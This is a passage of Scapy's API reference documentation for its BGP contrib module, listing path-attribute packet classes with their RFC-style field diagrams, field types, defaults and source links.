 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SEGMENT TYPE | SEGMENT LENGTH|         SEGMENT VALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ASPathSegment                        


ASPathSegment fields






	segment_type

	ByteEnumField

	2



	segment_length

	ByteField

	None



	segment_value

	FieldListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1233-L1239]

	








	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SEGMENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BGPPAAS4BytesPath                      


BGPPAAS4BytesPath fields






	segments

	ASPathSegmentPacketListField

	[]















	
class scapy.contrib.bgp.BGPPAAS4Path(_pkt, /, *, segment_type=2, segment_length=None, segment_value=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1972-L1994]

	Bases: Packet

Provides an implementation of the AS4_PATH attribute “value part”.
References: RFC 4893


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SEGMENT TYPE | SEGMENT LENGTH|         SEGMENT VALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPPAAS4Path                         


BGPPAAS4Path fields






	segment_type

	ByteEnumField

	2



	segment_length

	ByteField

	None



	segment_value

	FieldListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1989-L1994]

	








	
class scapy.contrib.bgp.BGPPAASPath(_pkt, /, *, segments=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1184-L1214]

	Bases: Packet

Packet handling the AS_PATH attribute value (2 bytes ASNs, for old
speakers).
References: RFC 4271, RFC 5065


	
class ASPathSegment(_pkt, /, *, segment_type=2, segment_length=None, segment_value=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1193-L1210]

	Bases: Packet

Provides an implementation for AS_PATH segments with 2 bytes ASNs.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SEGMENT TYPE | SEGMENT LENGTH|         SEGMENT VALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ASPathSegment                        


ASPathSegment fields






	segment_type

	ByteEnumField

	2



	segment_length

	ByteField

	None



	segment_value

	FieldListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1204-L1210]

	








	
AS_TRANS = 23456

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SEGMENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. BGPPAASPath                         


BGPPAASPath fields






	segments

	ASPathSegmentPacketListField

	[]















	
class scapy.contrib.bgp.BGPPAAggregator(_pkt, /, *, aggregator_asn=0, speaker_address='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1305-L1313]

	Bases: Packet

Packet handling the AGGREGATOR attribute value.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AGGREGATOR ASN        |        SPEAKER ADDRESS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPPAAggregator                       


BGPPAAggregator fields






	aggregator_asn

	ShortField

	0



	speaker_address

	IPField

	'0.0.0.0'















	
class scapy.contrib.bgp.BGPPAAtomicAggregate(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1292-L1298]

	Bases: Packet

Packet handling the ATOMIC_AGGREGATE attribute value.
References: RFC 4271


	
aliastypes

	








	
class scapy.contrib.bgp.BGPPAClusterList(_pkt, /, *, cluster_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1366-L1374]

	Bases: Packet

Packet handling the CLUSTER_LIST attribute value.
References: RFC 4456


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CLUSTER LIST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BGPPAClusterList                       


BGPPAClusterList fields






	cluster_list

	FieldListField

	[]















	
class scapy.contrib.bgp.BGPPACommunity(_pkt, /, *, community=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1338-L1345]

	Bases: Packet

Packet handling the COMMUNITIES attribute value.
References: RFC 1997


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           COMMUNITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPPACommunity                        


BGPPACommunity fields






	community

	IntEnumField

	0















	
class scapy.contrib.bgp.BGPPAExtCommFourOctetASSpecific(_pkt, /, *, global_administrator=0, local_administrator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1569-L1578]

	Bases: Packet

Packet handling the Four-Octet AS Specific Extended Community
attribute value.
References: RFC 5668


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      GLOBAL ADMINISTRATOR                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LOCAL ADMINISTRATOR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. BGPPAExtCommFourOctetASSpecific               


BGPPAExtCommFourOctetASSpecific fields






	global_administrator

	IntField

	0



	local_administrator

	ShortField

	0















	
class scapy.contrib.bgp.BGPPAExtCommIPv4AddressSpecific(_pkt, /, *, global_administrator=0, local_administrator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1581-L1590]

	Bases: Packet

Packet handling the IPv4 Address Specific Extended Community attribute
value.
References: RFC 4360


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      GLOBAL ADMINISTRATOR                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LOCAL ADMINISTRATOR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. BGPPAExtCommIPv4AddressSpecific               


BGPPAExtCommIPv4AddressSpecific fields






	global_administrator

	IntField

	0



	local_administrator

	ShortField

	0















	
class scapy.contrib.bgp.BGPPAExtCommOpaque(_pkt, /, *, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1593-L1600]

	Bases: Packet

Packet handling the Opaque Extended Community attribute value.
References: RFC 4360


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VALUE                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPPAExtCommOpaque                      


BGPPAExtCommOpaque fields






	value

	StrFixedLenField

	b''















	
class scapy.contrib.bgp.BGPPAExtCommRedirectAS2Byte(_pkt, /, *, asn=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1634-L1645]

	Bases: Packet

Packet handling the (FlowSpec) “redirect AS-2byte” extended community
(RFC 7674).
References: RFC 7674


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ASN              |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. BGPPAExtCommRedirectAS2Byte                 


BGPPAExtCommRedirectAS2Byte fields






	asn

	ShortField

	0



	value

	IntField

	0















	
class scapy.contrib.bgp.BGPPAExtCommRedirectAS4Byte(_pkt, /, *, asn=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1662-L1673]

	Bases: Packet

Packet handling the (FlowSpec) “redirect AS-4byte” extended community.
(RFC 7674).
References: RFC 7674


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ASN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. BGPPAExtCommRedirectAS4Byte                 


BGPPAExtCommRedirectAS4Byte fields






	asn

	IntField

	0



	value

	ShortField

	0















	
class scapy.contrib.bgp.BGPPAExtCommRedirectIPv4(_pkt, /, *, ip_addr=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1648-L1659]

	Bases: Packet

Packet handling the (FlowSpec) “redirect IPv4” extended community.
(RFC 7674).
References: RFC 7674


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IP ADDR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. BGPPAExtCommRedirectIPv4                   


BGPPAExtCommRedirectIPv4 fields






	ip_addr

	IntField

	0



	value

	ShortField

	0















	
class scapy.contrib.bgp.BGPPAExtCommTrafficAction(_pkt, /, *, reserved=0, sample=0, terminal_action=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1620-L1631]

	Bases: Packet

Packet handling the (FlowSpec) “traffic-action” extended community.
References: RFC 5575


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           |S|T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. BGPPAExtCommTrafficAction                  


BGPPAExtCommTrafficAction fields






	reserved

	BitField  (46 bits)

	0



	sample

	BitField  (1 bit)

	0



	terminal_action

	BitField  (1 bit)

	0















	
class scapy.contrib.bgp.BGPPAExtCommTrafficMarking(_pkt, /, *, dscp=48)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1676-L1685]

	Bases: Packet

Packet handling the (FlowSpec) “traffic-marking” extended community.
References: RFC 5575


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DSCP                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. BGPPAExtCommTrafficMarking                  


BGPPAExtCommTrafficMarking fields






	dscp

	BitEnumField

	48















	
class scapy.contrib.bgp.BGPPAExtCommTrafficRate(_pkt, /, *, id=0, rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1607-L1617]

	Bases: Packet

Packet handling the (FlowSpec) “traffic-rate” extended community.
References: RFC 5575


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |              RATE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. BGPPAExtCommTrafficRate                   


BGPPAExtCommTrafficRate fields






	id

	ShortField

	0



	rate

	IEEEFloatField

	0















	
class scapy.contrib.bgp.BGPPAExtCommTwoOctetASSpecific(_pkt, /, *, global_administrator=0, local_administrator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1557-L1566]

	Bases: Packet

Packet handling the Two-Octet AS Specific Extended Community attribute
value.
References: RFC 4360


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      GLOBAL ADMINISTRATOR     |      LOCAL ADMINISTRATOR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. BGPPAExtCommTwoOctetASSpecific                


BGPPAExtCommTwoOctetASSpecific fields






	global_administrator

	ShortField

	0



	local_administrator

	IntField

	0















	
class scapy.contrib.bgp.BGPPAExtComms(_pkt, /, *, extended_communities=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1848-L1860]

	Bases: Packet

Packet handling the multiple extended communities.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      EXTENDED COMMUNITIES     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPPAExtComms                        


BGPPAExtComms fields






	extended_communities

	_ExtCommsPacketListField

	[]















	
class scapy.contrib.bgp.BGPPAExtCommunity(_pkt, /, *, type_high=0, type_low=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1798-L1826]

	Bases: Packet

Provides an implementation of the Extended Communities attribute.
References: RFC 4360


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   TYPE HIGH   |    TYPE LOW   |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BGPPAExtCommunity                      


BGPPAExtCommunity fields






	type_high

	ByteEnumField

	0



	type_low

	_TypeLowField

	None



	value

	_ExtCommValuePacketField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1820-L1826]

	








	
class scapy.contrib.bgp.BGPPAIPv6AddressSpecificExtComm(_pkt, /, *, global_administrator='::', local_administrator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1760-L1770]

	Bases: Packet

Provides an implementation of the IPv6 Address Specific Extended
Community attribute. This attribute is not defined using the existing
BGP Extended Community attribute (see the RFC 5701 excerpt below).
References: RFC 5701


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      GLOBAL ADMINISTRATOR                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LOCAL ADMINISTRATOR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. BGPPAIPv6AddressSpecificExtComm               


BGPPAIPv6AddressSpecificExtComm fields






	global_administrator

	IP6Field

	'::'



	local_administrator

	ShortField

	0















	
class scapy.contrib.bgp.BGPPALargeCommunity(_pkt, /, *, segments=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2014-L2021]

	Bases: Packet

Provides an implementation of the LARGE_COMMUNITY attribute.
References: RFC 8092, RFC 8195


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SEGMENTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPPALargeCommunity                     


BGPPALargeCommunity fields






	segments

	PacketListField

	[]















	
class scapy.contrib.bgp.BGPPALocalPref(_pkt, /, *, local_pref=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1278-L1285]

	Bases: Packet

Packet handling the LOCAL_PREF attribute value.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LOCAL PREF                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPPALocalPref                        


BGPPALocalPref fields






	local_pref

	IntField

	0















	
class scapy.contrib.bgp.BGPPAMPReachNLRI(_pkt, /, *, afi=0, safi=0, nh_addr_len=0, nh_v4_addr='0.0.0.0', nh_v6_addr='::', nh_v6_global='::', nh_v6_link_local='::', reserved=0, nlri=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1889-L1916]

	Bases: Packet

Packet handling the MP_REACH_NLRI attribute value, for non IPv6
AFI.
References: RFC 4760


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |      SAFI     |  NH ADDR LEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NH V4 ADDR                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NH V6 ADDR                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NH V6 GLOBAL                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        NH V6 LINK LOCAL                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |              NLRI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BGPPAMPReachNLRI                       


BGPPAMPReachNLRI fields






	afi

	ShortEnumField

	0



	safi

	ByteEnumField

	0



	nh_addr_len

	ByteField

	0



	nh_v4_addr

	IPField (Cond)

	'0.0.0.0'



	nh_v6_addr

	IP6Field (Cond)

	'::'



	nh_v6_global

	IP6Field (Cond)

	'::'



	nh_v6_link_local

	IP6Field (Cond)

	'::'



	reserved

	ByteField

	0



	nlri

	MPReachNLRIPacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1912-L1916]

	








	
class scapy.contrib.bgp.BGPPAMPUnreachNLRI(_pkt, /, *, afi=0, safi=0, afi_safi_specific=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1949-L1965]

	Bases: Packet

Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6
AFI.
References: RFC 4760


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |      SAFI     |AFI SAFI SPECIF|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. BGPPAMPUnreachNLRI                      


BGPPAMPUnreachNLRI fields






	afi

	ShortEnumField

	0



	safi

	ByteEnumField

	0



	afi_safi_specific

	MPUnreachNLRIPacketField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1961-L1965]

	








	
class scapy.contrib.bgp.BGPPAMPUnreachNLRI_IPv6(_pkt, /, *, withdrawn_routes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1923-L1929]

	Bases: Packet

Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        WITHDRAWN ROUTES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. BGPPAMPUnreachNLRI_IPv6                   


BGPPAMPUnreachNLRI_IPv6 fields






	withdrawn_routes

	BGPNLRIPacketListField

	[]















	
class scapy.contrib.bgp.BGPPAMultiExitDisc(_pkt, /, *, med=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1264-L1271]

	Bases: Packet

Packet handling the MULTI_EXIT_DISC attribute value.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MED                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPPAMultiExitDisc                      


BGPPAMultiExitDisc fields






	med

	IntField

	0















	
class scapy.contrib.bgp.BGPPANextHop(_pkt, /, *, next_hop='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1250-L1257]

	Bases: Packet

Packet handling the NEXT_HOP attribute value.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXT HOP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPPANextHop                         


BGPPANextHop fields






	next_hop

	IPField

	'0.0.0.0'















	
class scapy.contrib.bgp.BGPPAOrigin(_pkt, /, *, origin=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1130-L1139]

	Bases: Packet

Packet handling the ORIGIN attribute value.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ORIGIN    |
+-+-+-+-+-+-+-+-+

                         Fig. BGPPAOrigin                         


BGPPAOrigin fields






	origin

	ByteEnumField

	0















	
class scapy.contrib.bgp.BGPPAOriginatorID(_pkt, /, *, originator_id='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1352-L1359]

	Bases: Packet

Packet handling the ORIGINATOR_ID attribute value.
References: RFC 4456


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
